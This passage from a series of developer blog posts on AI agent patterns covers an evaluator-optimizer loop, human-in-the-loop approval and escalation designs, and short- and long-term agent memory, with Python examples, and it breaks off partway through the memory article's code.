"audience": "intermediate Python developers",
"style": "practical tutorial",
"must_include": ["authentication", "database integration", "testing"]
}
)
print(f"Generated in {result['iterations']} iterations")
print(f"Final score: {result['final_score']}")
print(result["article"])
```
## Best Practices
### 1. Define Clear Evaluation Criteria
```python
# ❌ Vague criteria
criteria = ["make it good", "improve quality"]
# ✅ Specific, measurable criteria
criteria = {
"accuracy": {
"description": "All facts verifiable, no hallucinations",
"min_score": 9,
"examples": ["dates correct", "quotes accurate", "statistics cited"]
},
"completeness": {
"description": "Addresses all aspects of the prompt",
"min_score": 8,
"examples": ["all questions answered", "no missing sections"]
}
}
```
### 2. Limit Iterations
```python
class BoundedOptimizer:
def __init__(self, max_iterations: int = 5, timeout_seconds: int = 60):
self.max_iterations = max_iterations
self.timeout = timeout_seconds
def run(self, task: str) -> str:
start_time = time.time()
for i in range(self.max_iterations):
# Check timeout
if time.time() - start_time > self.timeout:
print("Timeout reached")
break
# Check diminishing returns
if i > 2 and score_improvement < 0.5:
print("Diminishing returns, stopping")
break
```
### 3. Track Optimization History
```python
def run_with_tracking(self, task: str) -> dict:
history = []
for i in range(self.max_iterations):
evaluation = self._evaluate(output)
history.append({
"iteration": i,
"score": evaluation.score,
"issues_count": len(evaluation.issues),
"output_length": len(output),
"timestamp": datetime.now().isoformat()
})
# Detect if stuck
if i > 1 and history[-1]["score"] == history[-2]["score"]:
# Try different optimization strategy
output = self._alternative_optimize(output, evaluation)
return {"output": output, "history": history}
```
### 4. Fail Gracefully
```python
def run_with_fallback(self, task: str) -> dict:
try:
result = self._optimize_loop(task)
if not result["success"]:
# Return best attempt even if didn't meet threshold
return {
"output": result["output"],
"warning": "Did not meet quality threshold",
"score": result["final_score"]
}
return result
except Exception as e:
# Return initial generation on failure
return {
"output": self._generate(task),
"error": str(e),
"fallback": True
}
```
## When to Use This Pattern
✅ **Use Evaluator-Optimizer when:**
- Output quality is critical
- You can define clear quality criteria
- You have token budget for multiple iterations
- Task is complex enough to benefit from iteration
❌ **Avoid when:**
- Speed is the priority
- Quality criteria are subjective/unclear
- Output is simple and usually correct
- Token costs are a major concern
## Conclusion
The Evaluator-Optimizer Loop transforms inconsistent outputs into consistently high-quality ones:
- **Explicit evaluation** — Define what "good" means
- **Iterative improvement** — Fix issues systematically
- **Quality guarantees** — Meet defined thresholds
Start with simple evaluation criteria. Add specialized evaluators for specific domains. Track optimization history to learn what works.
The agent that evaluates and improves beats the agent that hopes for the best. Every time.
---
Ready to build self-improving agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that let you test and verify outputs in isolation.
## Further Reading
- [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Self-review without separate optimizer
- [ReAct Pattern](/blog/ai-agents/react-pattern-reasoning-acting) — Reasoning before each action
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for evaluation
- [Memory Pattern](/blog/ai-agents/memory-pattern-ai-agents) — Remember what improvements work
---
## Human-in-the-Loop: Balancing AI Autonomy and Human Control
URL: https://hopx.ai/blog/ai-agents/human-in-the-loop-ai-agents/
Category: AI Agents
Published: 2025-11-27
# Human-in-the-Loop: Balancing AI Autonomy and Human Control
Fully autonomous AI agents are a fantasy—and a dangerous one. Even the best agents make mistakes, hallucinate, and encounter situations they can't handle.
**Human-in-the-Loop (HITL)** is the pattern that makes AI agents actually work in production. It's about knowing when to ask for help, when to pause for approval, and when to hand off to a human entirely.
This guide shows you how to build agents that collaborate with humans instead of trying to replace them.
## Why Human-in-the-Loop Matters
### The Autonomy Paradox
More autonomy sounds better, but:
```
┌─────────────────────────────────────────────────────────────┐
│ Autonomy vs. Risk │
├─────────────────────────────────────────────────────────────┤
│ │
│ Risk │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │ ╱ │
│ │╱ │
│ └──────────────────────────────────────────────────── │
│ Autonomy │
│ │
│ Low autonomy = Safe but slow │
│ High autonomy = Fast but risky │
│ HITL = Optimal balance for each situation │
│ │
└─────────────────────────────────────────────────────────────┘
```
The goal isn't maximum autonomy—it's **appropriate** autonomy for each situation.
### When Agents Need Humans
1. **High-stakes decisions**: Deleting data, sending money, publishing content
2. **Uncertainty**: Low confidence, ambiguous requirements
3. **Edge cases**: Situations not in training data
4. **Sensitive content**: Legal, medical, financial advice
5. **Learning opportunities**: New patterns to incorporate
## HITL Patterns
### Pattern 1: Approval Gates
Pause for human approval before critical actions:
```python
from enum import Enum
from dataclasses import dataclass
import time
class ActionRisk(Enum):
LOW = "low" # Proceed automatically
MEDIUM = "medium" # Log, but proceed
HIGH = "high" # Require approval
CRITICAL = "critical" # Require multi-person approval
@dataclass
class PendingAction:
action_id: str
action_type: str
description: str
risk_level: ActionRisk
context: dict
created_at: float
approved: bool = None
approved_by: str = None
class ApprovalGateAgent:
def __init__(self, approval_callback):
self.approval_callback = approval_callback
self.pending_actions = {}
self.action_risks = {
"read_file": ActionRisk.LOW,
"write_file": ActionRisk.MEDIUM,
"send_email": ActionRisk.HIGH,
"delete_data": ActionRisk.CRITICAL,
"execute_code": ActionRisk.MEDIUM,
"make_payment": ActionRisk.CRITICAL,
}
def execute_action(self, action_type: str, params: dict) -> dict:
risk = self.action_risks.get(action_type, ActionRisk.HIGH)
if risk == ActionRisk.LOW:
return self._execute(action_type, params)
if risk == ActionRisk.MEDIUM:
self._log_action(action_type, params)
return self._execute(action_type, params)
if risk in [ActionRisk.HIGH, ActionRisk.CRITICAL]:
return self._request_approval(action_type, params, risk)
def _request_approval(self, action_type: str, params: dict, risk: ActionRisk) -> dict:
action = PendingAction(
action_id=f"action_{time.time()}",
action_type=action_type,
description=self._describe_action(action_type, params),
risk_level=risk,
context=params,
created_at=time.time()
)
self.pending_actions[action.action_id] = action
# Request approval (async in production)
approved = self.approval_callback(action)
if approved:
action.approved = True
return self._execute(action_type, params)
else:
action.approved = False
return {"status": "rejected", "action_id": action.action_id}
def _describe_action(self, action_type: str, params: dict) -> str:
descriptions = {
"send_email": f"Send email to {params.get('to')} with subject '{params.get('subject')}'",
"delete_data": f"Delete {params.get('count', 'unknown')} records from {params.get('table')}",
"make_payment": f"Transfer ${params.get('amount')} to {params.get('recipient')}",
}
return descriptions.get(action_type, f"{action_type}: {params}")
# Usage with CLI approval
def cli_approval(action: PendingAction) -> bool:
print(f"\n{'='*60}")
print(f"🔔 APPROVAL REQUIRED")
print(f"{'='*60}")
print(f"Action: {action.action_type}")
print(f"Risk: {action.risk_level.value.upper()}")
print(f"Description: {action.description}")
print(f"\nContext: {action.context}")
response = input("\nApprove? (yes/no): ").strip().lower()
return response == "yes"
agent = ApprovalGateAgent(approval_callback=cli_approval)
# Low risk - executes immediately
agent.execute_action("read_file", {"path": "/data/report.csv"})
# High risk - requires approval
agent.execute_action("send_email", {
"to": "client@example.com",
"subject": "Contract Update",
"body": "..."
})
```
### Pattern 2: Confidence-Based Escalation
Escalate to humans when confidence is low:
```python
import openai
from dataclasses import dataclass
@dataclass
class AgentResponse:
answer: str
confidence: float
reasoning: str
needs_human: bool
class ConfidenceAgent:
def __init__(self, confidence_threshold: float = 0.8):
self.client = openai.OpenAI()
self.threshold = confidence_threshold
def answer(self, question: str) -> AgentResponse:
# Get answer with confidence score
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Answer the question and rate your confidence.
Return JSON:
{
"answer": "your answer",
"confidence": 0.0-1.0,
"reasoning": "why this confidence level",
"uncertain_aspects": ["aspect1", "aspect2"]
}
Be honest about uncertainty. Low confidence is better than wrong confidence."""
}, {
"role": "user",
"content": question
}],
response_format={"type": "json_object"}
)
import json
data = json.loads(response.choices[0].message.content)
needs_human = data["confidence"] < self.threshold
return AgentResponse(
answer=data["answer"],
confidence=data["confidence"],
reasoning=data["reasoning"],
needs_human=needs_human
)
def answer_with_fallback(self, question: str, human_callback) -> str:
response = self.answer(question)
if response.needs_human:
print(f"⚠️ Low confidence ({response.confidence:.0%})")
print(f"Reason: {response.reasoning}")
print(f"\nProposed answer: {response.answer}")
human_input = human_callback(question, response)
if human_input:
return human_input
return response.answer
# Usage
agent = ConfidenceAgent(confidence_threshold=0.75)
def human_review(question: str, response: AgentResponse) -> str:
print(f"\nQuestion: {question}")
print(f"Agent's answer: {response.answer}")
action = input("Accept (a), Modify (m), or Provide new (n)? ").strip().lower()
if action == "a":
return response.answer
elif action == "m":
return input("Enter modified answer: ")
elif action == "n":
return input("Enter your answer: ")
return response.answer
answer = agent.answer_with_fallback(
"What's the best database for a real-time analytics system processing 1M events/second?",
human_callback=human_review
)
```
### Pattern 3: Interactive Clarification
Ask humans for clarification when requirements are ambiguous:
```python
class ClarifyingAgent:
def __init__(self):
self.client = openai.OpenAI()
self.max_clarifications = 3
def process(self, request: str, clarification_callback) -> str:
context = {"original_request": request, "clarifications": []}
for i in range(self.max_clarifications):
# Check if we need clarification
analysis = self._analyze_request(request, context)
if analysis["clear_enough"]:
break
# Ask for clarification
question = analysis["clarification_question"]
answer = clarification_callback(question)
context["clarifications"].append({
"question": question,
"answer": answer
})
# Update request with clarification
request = self._incorporate_clarification(request, question, answer)
# Execute with full context
return self._execute(request, context)
def _analyze_request(self, request: str, context: dict) -> dict:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Analyze if this request is clear enough to execute.
Return JSON:
{
"clear_enough": true/false,
"ambiguities": ["ambiguity 1", "ambiguity 2"],
"clarification_question": "question to ask user (if not clear)",
"assumptions": ["assumption if we proceeded without clarifying"]
}
Ask for clarification only if the ambiguity could lead to significantly different outcomes."""
}, {
"role": "user",
"content": f"Request: {request}\n\nPrevious clarifications: {context.get('clarifications', [])}"
}],
response_format={"type": "json_object"}
)
import json
return json.loads(response.choices[0].message.content)
def _incorporate_clarification(self, request: str, question: str, answer: str) -> str:
return f"{request}\n\nClarification - Q: {question} A: {answer}"
# Usage
agent = ClarifyingAgent()
def ask_user(question: str) -> str:
print(f"\n❓ {question}")
return input("Your answer: ")
result = agent.process(
"Create a report of our sales data", # Ambiguous!
clarification_callback=ask_user
)
# Agent might ask:
# "Which time period should the report cover?"
# "Should the report include all products or specific categories?"
# "Who is the audience - executives or analysts?"
```
### Pattern 4: Supervised Learning Loop
Learn from human corrections:
```python
from dataclasses import dataclass
from datetime import datetime
import json
@dataclass
class Correction:
original_output: str
corrected_output: str
correction_reason: str
task_type: str
timestamp: datetime
class LearningAgent:
def __init__(self):
self.client = openai.OpenAI()
self.corrections_db = [] # In production, use a real database
def process(self, task: str) -> str:
# Get relevant past corrections
relevant_corrections = self._find_relevant_corrections(task)
# Generate with learned context
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Complete the task.
Learn from these past corrections:
{self._format_corrections(relevant_corrections)}
Apply these lessons to avoid similar mistakes."""
}, {
"role": "user",
"content": task
}]
)
return response.choices[0].message.content
def record_correction(self, original: str, corrected: str, reason: str, task_type: str):
"""Human provides correction - agent learns"""
correction = Correction(
original_output=original,
corrected_output=corrected,
correction_reason=reason,
task_type=task_type,
timestamp=datetime.now()
)
self.corrections_db.append(correction)
# In production: fine-tune or update embeddings
self._update_knowledge(correction)
def _find_relevant_corrections(self, task: str, limit: int = 5) -> list:
# In production: semantic search over corrections
return self.corrections_db[-limit:]
def _format_corrections(self, corrections: list) -> str:
if not corrections:
return "(No relevant past corrections)"
formatted = []
for c in corrections:
formatted.append(f"""
Mistake: {c.original_output[:200]}...
Correction: {c.corrected_output[:200]}...
Reason: {c.correction_reason}
""")
return "\n---\n".join(formatted)
# Usage
agent = LearningAgent()
# Agent makes a mistake
output = agent.process("Write an email to decline a meeting")
print(output) # "Dear Sir, I am writing to inform you..."
# Human corrects
agent.record_correction(
original=output,
corrected="Hi [Name], Thanks for the invite! Unfortunately, I have a conflict...",
reason="Too formal. Use casual, friendly tone for internal communications.",
task_type="email_writing"
)
# Next time, agent applies the lesson
output = agent.process("Write an email to reschedule a call")
# Now uses appropriate casual tone
```
## Building a Complete HITL System
Here's a production-ready HITL agent:
```python
from hopx import Sandbox
import openai
import json
from enum import Enum
from dataclasses import dataclass, field
from datetime import datetime
from typing import Callable, Optional
import asyncio
class EscalationType(Enum):
APPROVAL = "approval"
CLARIFICATION = "clarification"
REVIEW = "review"
HANDOFF = "handoff"
@dataclass
class EscalationRequest:
id: str
type: EscalationType
context: dict
message: str
options: list = field(default_factory=list)
timeout_seconds: int = 300
created_at: datetime = field(default_factory=datetime.now)
@dataclass
class EscalationResponse:
approved: bool
response: str
responder: str
timestamp: datetime = field(default_factory=datetime.now)
class HITLAgent:
def __init__(
self,
escalation_handler: Callable[[EscalationRequest], EscalationResponse],
confidence_threshold: float = 0.8,
auto_approve_risks: list = None
):
self.client = openai.OpenAI()
self.escalation_handler = escalation_handler
self.confidence_threshold = confidence_threshold
self.auto_approve_risks = auto_approve_risks or ["low"]
self.action_log = []
async def run(self, task: str) -> dict:
"""Execute task with human-in-the-loop checkpoints"""
# Step 1: Understand and validate task
understanding = await self._understand_task(task)
if understanding["needs_clarification"]:
clarification = await self._request_clarification(
task,
understanding["questions"]
)
task = f"{task}\n\nClarifications:\n{clarification}"
# Step 2: Plan with risk assessment
plan = await self._create_plan(task)
# Step 3: Get approval for high-risk steps
if any(step["risk"] not in self.auto_approve_risks for step in plan["steps"]):
approved = await self._request_plan_approval(plan)
if not approved:
return {"status": "rejected", "reason": "Plan not approved"}
# Step 4: Execute with checkpoints
results = []
for step in plan["steps"]:
result = await self._execute_step(step)
results.append(result)
# Check for issues requiring escalation
if result.get("needs_review"):
review = await self._request_review(step, result)
if not review.approved:
return {"status": "stopped", "reason": review.response}
# Step 5: Final review for high-stakes tasks
if plan.get("requires_final_review"):
final_review = await self._request_final_review(task, results)
if not final_review.approved:
return {"status": "needs_revision", "feedback": final_review.response}
return {
"status": "completed",
"results": results,
"plan": plan
}
async def _understand_task(self, task: str) -> dict:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Analyze this task:
1. Is it clear enough to proceed?
2. What clarifications would help?
3. What's the risk level?
4. What approvals might be needed?
Return JSON:
{
"clear": true/false,
"needs_clarification": true/false,
"questions": ["question1", "question2"],
"risk_level": "low/medium/high/critical",
"potential_issues": ["issue1"]
}"""
}, {
"role": "user",
"content": task
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
async def _request_clarification(self, task: str, questions: list) -> str:
request = EscalationRequest(
id=f"clarify_{datetime.now().timestamp()}",
type=EscalationType.CLARIFICATION,
context={"task": task},
message="Please clarify the following:",
options=questions
)
response = self.escalation_handler(request)
return response.response
async def _request_plan_approval(self, plan: dict) -> bool:
high_risk_steps = [s for s in plan["steps"] if s["risk"] not in self.auto_approve_risks]
request = EscalationRequest(
id=f"approve_{datetime.now().timestamp()}",
type=EscalationType.APPROVAL,
context={"plan": plan},
message=f"Approve {len(high_risk_steps)} high-risk actions?",
options=["Approve All", "Reject", "Review Each"]
)
response = self.escalation_handler(request)
return response.approved
async def _execute_step(self, step: dict) -> dict:
"""Execute step with monitoring"""
self.action_log.append({
"step": step,
"started_at": datetime.now().isoformat()
})
if step.get("requires_code"):
result = await self._execute_code(step["code"])
else:
result = await self._execute_action(step)
self.action_log[-1]["result"] = result
self.action_log[-1]["completed_at"] = datetime.now().isoformat()
# Check if result needs human review
if result.get("error") or result.get("unexpected"):
result["needs_review"] = True
return result
async def _request_review(self, step: dict, result: dict) -> EscalationResponse:
request = EscalationRequest(
id=f"review_{datetime.now().timestamp()}",
type=EscalationType.REVIEW,
context={"step": step, "result": result},
message=f"Step encountered an issue: {result.get('error', 'Unexpected result')}",
options=["Continue", "Retry", "Abort", "Modify and Continue"]
)
return self.escalation_handler(request)
async def _request_final_review(self, task: str, results: list) -> EscalationResponse:
request = EscalationRequest(
id=f"final_{datetime.now().timestamp()}",
type=EscalationType.REVIEW,
context={"task": task, "results": results},
message="Please review the completed task before finalizing.",
options=["Approve", "Request Changes", "Reject"]
)
return self.escalation_handler(request)
# Example: Slack-based escalation handler
class SlackEscalationHandler:
def __init__(self, channel: str, bot_token: str):
self.channel = channel
self.bot_token = bot_token
self.pending = {}
def __call__(self, request: EscalationRequest) -> EscalationResponse:
# Send to Slack
message = self._format_message(request)
self._send_slack_message(message)
# Wait for response (with timeout)
response = self._wait_for_response(request.id, request.timeout_seconds)
return response
def _format_message(self, request: EscalationRequest) -> dict:
blocks = [
{
"type": "header",
"text": {"type": "plain_text", "text": f"🔔 {request.type.value.upper()} Required"}
},
{
"type": "section",
"text": {"type": "mrkdwn", "text": request.message}
},
{
"type": "actions",
"elements": [
{"type": "button", "text": {"type": "plain_text", "text": opt}, "action_id": f"opt_{i}"}
for i, opt in enumerate(request.options)
]
}
]
return {"channel": self.channel, "blocks": blocks}
# Usage
async def main():
handler = SlackEscalationHandler(channel="#ai-approvals", bot_token="xoxb-...")
agent = HITLAgent(
escalation_handler=handler,
confidence_threshold=0.8,
auto_approve_risks=["low", "medium"]
)
result = await agent.run(
"Analyze our customer data and send a summary report to the executive team"
)
print(result)
# asyncio.run(main())
```
## HITL Interface Patterns
### Web-Based Approval Queue
```python
from fastapi import FastAPI, WebSocket
from fastapi.responses import HTMLResponse
import json
app = FastAPI()
approval_queue = []
connected_clients = []
@app.websocket("/ws/approvals")
async def approval_websocket(websocket: WebSocket):
await websocket.accept()
connected_clients.append(websocket)
try:
while True:
# Receive approval/rejection from UI
data = await websocket.receive_json()
action_id = data["action_id"]
approved = data["approved"]
# Process the response
handle_approval_response(action_id, approved, data.get("comment"))
finally:
connected_clients.remove(websocket)
async def request_approval(action: dict) -> bool:
"""Send approval request to all connected clients"""
approval_queue.append(action)
for client in connected_clients:
await client.send_json({
"type": "approval_request",
"action": action
})
# Wait for response (implement with asyncio.Event)
response = await wait_for_approval(action["id"])
return response
@app.get("/approvals")
async def approval_ui():
return HTMLResponse("""
AI Agent Approvals
Pending Approvals
""")
```
## Best Practices
### 1. Default to Asking
```python
# ❌ Optimistic (dangerous)
def execute(self, action):
return self._do_action(action)
# ✅ Conservative (safe)
def execute(self, action):
if self._is_safe(action):
return self._do_action(action)
else:
return self._request_approval(action)
```
### 2. Provide Context
```python
# ❌ Vague approval request
"Approve action?"
# ✅ Rich context
f"""
Action: {action_type}
Target: {target}
Impact: {impact_description}
Risk Level: {risk}
Reversible: {is_reversible}
Similar past actions: {past_examples}
Agent's reasoning: {reasoning}
"""
```
### 3. Time-Box Decisions
```python
async def request_with_timeout(self, request, timeout=300):
try:
response = await asyncio.wait_for(
self._get_human_response(request),
timeout=timeout
)
return response
except asyncio.TimeoutError:
# Default to safe action on timeout
return self._safe_default(request)
```
### 4. Learn from Decisions
```python
def record_decision(self, request, response, outcome):
"""Track decisions to improve future automation"""
self.decisions.append({
"request": request,
"response": response,
"outcome": outcome,
"timestamp": datetime.now()
})
# Analyze patterns
if self._should_automate(request.type):
self._add_to_auto_approve(request.type)
```
## When to Use HITL
| Situation | HITL Approach |
|-----------|---------------|
| Financial transactions | Approval gate |
| Content publishing | Review before publish |
| Data deletion | Confirmation + undo period |
| Customer communications | Template approval |
| System configuration | Change approval |
| Ambiguous requests | Clarification |
| Low confidence | Escalation |
| First-time actions | Approval, then learn |
## Conclusion
Human-in-the-Loop isn't about limiting AI—it's about building AI systems that actually work in production:
- **Approval gates** for high-risk actions
- **Confidence-based escalation** for uncertainty
- **Clarification loops** for ambiguous requests
- **Learning from corrections** to improve over time
Start with conservative settings (more human involvement). Gradually increase autonomy as trust builds. Always have a human escalation path.
The agent that knows when to ask for help outperforms the agent that doesn't. Every time.
---
Ready to build collaborative human-AI systems? [Get started with HopX](https://console.hopx.ai) — sandboxes that provide safe execution while humans review.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals
- [Evaluator-Optimizer Loop](/blog/ai-agents/evaluator-optimizer-loop) — Automated quality with human oversight
- [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Plans humans can review
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools with approval gates
---
## Memory for AI Agents: Short-term, Long-term, and RAG
URL: https://hopx.ai/blog/ai-agents/memory-pattern-ai-agents/
Category: AI Agents
Published: 2025-11-27
# Memory for AI Agents: Short-term, Long-term, and RAG
Every conversation with ChatGPT starts fresh. It doesn't remember you, your preferences, or your previous conversations. For a chatbot, that's fine. For an agent that's supposed to work with you over time? It's a fatal flaw.
**Memory transforms agents from stateless tools into intelligent assistants that learn, adapt, and improve.**
This guide shows you how to implement memory in AI agents—from simple conversation buffers to sophisticated retrieval systems that give agents access to vast knowledge bases.
## Why Agents Need Memory
Without memory, agents:
- Forget context mid-conversation
- Can't learn from past mistakes
- Have no access to private knowledge
- Repeat the same errors endlessly
- Can't personalize to users
With memory, agents:
- Maintain context across sessions
- Learn from experience
- Access company knowledge bases
- Improve over time
- Personalize responses
## The Three Types of Agent Memory
```
┌─────────────────────────────────────────────────────────────┐
│ AGENT MEMORY │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────┐ │
│ │ SHORT-TERM │ │ LONG-TERM │ │ EXTERNAL │ │
│ │ MEMORY │ │ MEMORY │ │ KNOWLEDGE │ │
│ ├─────────────────┤ ├─────────────────┤ ├─────────────┤ │
│ │ │ │ │ │ │ │
│ │ • Context window│ │ • Past sessions │ │ • Documents │ │
│ │ • Current chat │ │ • User prefs │ │ • Databases │ │
│ │ • Working state │ │ • Learned facts │ │ • APIs │ │
│ │ │ │ • Experiences │ │ • Web │ │
│ │ │ │ │ │ │ │
│ │ Volatile │ │ Persistent │ │ Retrieved │ │
│ │ ~128K tokens │ │ Unlimited │ │ On-demand │ │
│ │ │ │ │ │ │ │
│ └─────────────────┘ └─────────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
```
### 1. Short-Term Memory (Context Window)
The conversation history within a single session. Limited by the model's context window (4K to 128K+ tokens).
### 2. Long-Term Memory (Persistent)
Information that persists across sessions—user preferences, past interactions, learned facts. Stored externally and retrieved when needed.
### 3. External Knowledge (RAG)
Access to documents, databases, and knowledge bases that weren't in the model's training data. Retrieved dynamically based on the current query.
## Short-Term Memory: Managing Context
### Basic Conversation Buffer
The simplest memory—just keep the full conversation:
```python
class ConversationBuffer:
def __init__(self, max_tokens: int = 8000):
self.messages = []
self.max_tokens = max_tokens
def add(self, role: str, content: str):
self.messages.append({"role": role, "content": content})
self._trim_if_needed()
def _trim_if_needed(self):
"""Remove oldest messages if we exceed token limit"""
while self._estimate_tokens() > self.max_tokens and len(self.messages) > 1:
# Keep system message, remove oldest user/assistant pair
if self.messages[0]["role"] == "system":
self.messages.pop(1)
else:
self.messages.pop(0)
def _estimate_tokens(self) -> int:
# Rough estimate: 4 chars per token
return sum(len(m["content"]) // 4 for m in self.messages)
def get_messages(self) -> list:
return self.messages.copy()
# Usage
memory = ConversationBuffer()
memory.add("system", "You are a helpful assistant.")
memory.add("user", "What's the capital of France?")
memory.add("assistant", "The capital of France is Paris.")
memory.add("user", "What's its population?") # Agent remembers we're talking about Paris
```
### Sliding Window with Summary
For longer conversations, summarize old messages instead of discarding them:
```python
import openai
class SummarizingMemory:
def __init__(self, window_size: int = 10, max_tokens: int = 4000):
self.client = openai.OpenAI()
self.messages = []
self.summary = ""
self.window_size = window_size
self.max_tokens = max_tokens
def add(self, role: str, content: str):
self.messages.append({"role": role, "content": content})
# Summarize when window is exceeded
if len(self.messages) > self.window_size * 2:
self._summarize_old_messages()
def _summarize_old_messages(self):
"""Compress old messages into summary"""
# Take oldest half of messages
to_summarize = self.messages[:self.window_size]
self.messages = self.messages[self.window_size:]
# Generate summary
summary_prompt = f"""Summarize this conversation, preserving key facts and decisions:
Previous summary: {self.summary}
New messages:
{self._format_messages(to_summarize)}
Provide a concise summary."""
response = self.client.chat.completions.create(
model="gpt-4o-mini", # Use cheaper model for summarization
messages=[{"role": "user", "content": summary_prompt}]
)
self.summary = response.choices[0].message.content
def get_messages(self) -> list:
"""Get messages with summary as context"""
result = []
if self.summary:
result.append({
"role": "system",
"content": f"Previous conversation summary:\n{self.summary}"
})
result.extend(self.messages)
return result
def _format_messages(self, messages: list) -> str:
return "\n".join(f"{m['role']}: {m['content']}" for m in messages)
```
### Working Memory for Multi-Step Tasks
For agents executing multi-step tasks, maintain structured working memory:
```python
from dataclasses import dataclass, field
from typing import Any
@dataclass
class WorkingMemory:
"""Structured memory for task execution"""
goal: str = ""
current_step: int = 0
plan: list[str] = field(default_factory=list)
completed_steps: list[dict] = field(default_factory=list)
variables: dict[str, Any] = field(default_factory=dict)
errors: list[str] = field(default_factory=list)
def to_context(self) -> str:
"""Convert to context string for LLM"""
return f"""Current Task State:
Goal: {self.goal}
Progress: Step {self.current_step + 1} of {len(self.plan)}
Plan:
{self._format_plan()}
Variables:
{self._format_variables()}
Recent Errors: {self.errors[-3:] if self.errors else 'None'}
"""
def _format_plan(self) -> str:
lines = []
for i, step in enumerate(self.plan):
status = "✓" if i < self.current_step else "→" if i == self.current_step else " "
lines.append(f" [{status}] {i+1}. {step}")
return "\n".join(lines)
def _format_variables(self) -> str:
if not self.variables:
return " (none)"
return "\n".join(f" {k}: {v}" for k, v in self.variables.items())
# Usage in agent
class TaskAgent:
def __init__(self):
self.working_memory = WorkingMemory()
def execute(self, goal: str):
self.working_memory.goal = goal
self.working_memory.plan = self._create_plan(goal)
for i, step in enumerate(self.working_memory.plan):
self.working_memory.current_step = i
# Include working memory in context
context = self.working_memory.to_context()
result = self._execute_step(step, context)
self.working_memory.completed_steps.append({
"step": step,
"result": result
})
# Store results as variables for later steps
if "output" in result:
self.working_memory.variables[f"step_{i}_output"] = result["output"]
```
## Long-Term Memory: Persistence Across Sessions
### Vector Database for Semantic Search
The most common approach—store memories as embeddings and retrieve by semantic similarity:
```python
import openai
import numpy as np
from dataclasses import dataclass
from datetime import datetime
@dataclass
class Memory:
content: str
embedding: list[float]
metadata: dict
timestamp: datetime
class VectorMemory:
def __init__(self):
self.client = openai.OpenAI()
self.memories: list[Memory] = []
def add(self, content: str, metadata: dict = None):
"""Store a memory with its embedding"""
embedding = self._get_embedding(content)
memory = Memory(
content=content,
embedding=embedding,
metadata=metadata or {},
timestamp=datetime.now()
)
self.memories.append(memory)
def search(self, query: str, top_k: int = 5) -> list[Memory]:
"""Find memories most relevant to the query"""
query_embedding = self._get_embedding(query)
# Calculate similarities
similarities = []
for memory in self.memories:
sim = self._cosine_similarity(query_embedding, memory.embedding)
similarities.append((memory, sim))
# Sort by similarity and return top_k
similarities.sort(key=lambda x: x[1], reverse=True)
return [m for m, _ in similarities[:top_k]]
def _get_embedding(self, text: str) -> list[float]:
response = self.client.embeddings.create(
model="text-embedding-3-small",
input=text
)
return response.data[0].embedding
def _cosine_similarity(self, a: list, b: list) -> float:
a = np.array(a)
b = np.array(b)
return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))
# Usage
memory = VectorMemory()
# Store memories
memory.add("User prefers Python over JavaScript", {"type": "preference"})
memory.add("User's project is an e-commerce platform", {"type": "context"})
memory.add("User had trouble with authentication last week", {"type": "issue"})
# Retrieve relevant memories
relevant = memory.search("What programming language should I use?")
# Returns: "User prefers Python over JavaScript"
```
### Production Vector Store with Pinecone/Weaviate
For production, use a managed vector database:
```python
import pinecone
from pinecone import Pinecone
import openai
class ProductionMemory:
def __init__(self, index_name: str):
self.pc = Pinecone(api_key="your-api-key")
self.index = self.pc.Index(index_name)
self.openai = openai.OpenAI()
def add(self, memory_id: str, content: str, metadata: dict = None):
"""Store memory in Pinecone"""
embedding = self._get_embedding(content)
self.index.upsert(vectors=[{
"id": memory_id,
"values": embedding,
"metadata": {
"content": content,
**(metadata or {})
}
}])
def search(self, query: str, top_k: int = 5, filter: dict = None) -> list[dict]:
"""Search memories with optional filtering"""
query_embedding = self._get_embedding(query)
results = self.index.query(
vector=query_embedding,
top_k=top_k,
filter=filter,
include_metadata=True
)
return [
{
"id": match.id,
"score": match.score,
"content": match.metadata.get("content"),
"metadata": match.metadata
}
for match in results.matches
]
def delete(self, memory_id: str):
"""Remove a memory"""
self.index.delete(ids=[memory_id])
def _get_embedding(self, text: str) -> list[float]:
response = self.openai.embeddings.create(
model="text-embedding-3-small",
input=text
)
return response.data[0].embedding
# Usage with user-specific memories
memory = ProductionMemory("agent-memories")
# Store user-specific memory
memory.add(
memory_id="user_123_pref_1",
content="User prefers detailed technical explanations",
metadata={"user_id": "123", "type": "preference"}
)
# Search only this user's memories
results = memory.search(
query="How should I explain this concept?",
filter={"user_id": "123"}
)
```
### Structured Long-Term Memory
For specific types of information, use structured storage:
```python
import json
from datetime import datetime
from pathlib import Path
class StructuredMemory:
def __init__(self, storage_path: str):
self.path = Path(storage_path)
self.path.mkdir(parents=True, exist_ok=True)
def get_user_profile(self, user_id: str) -> dict:
"""Get or create user profile"""
profile_path = self.path / f"user_{user_id}.json"
if profile_path.exists():
return json.loads(profile_path.read_text())
return {
"user_id": user_id,
"created_at": datetime.now().isoformat(),
"preferences": {},
"facts": [],
"interaction_count": 0
}
def update_user_profile(self, user_id: str, updates: dict):
"""Update user profile"""
profile = self.get_user_profile(user_id)
profile.update(updates)
profile["updated_at"] = datetime.now().isoformat()
profile_path = self.path / f"user_{user_id}.json"
profile_path.write_text(json.dumps(profile, indent=2))
def add_fact(self, user_id: str, fact: str, source: str = None):
"""Store a learned fact about the user"""
profile = self.get_user_profile(user_id)
profile["facts"].append({
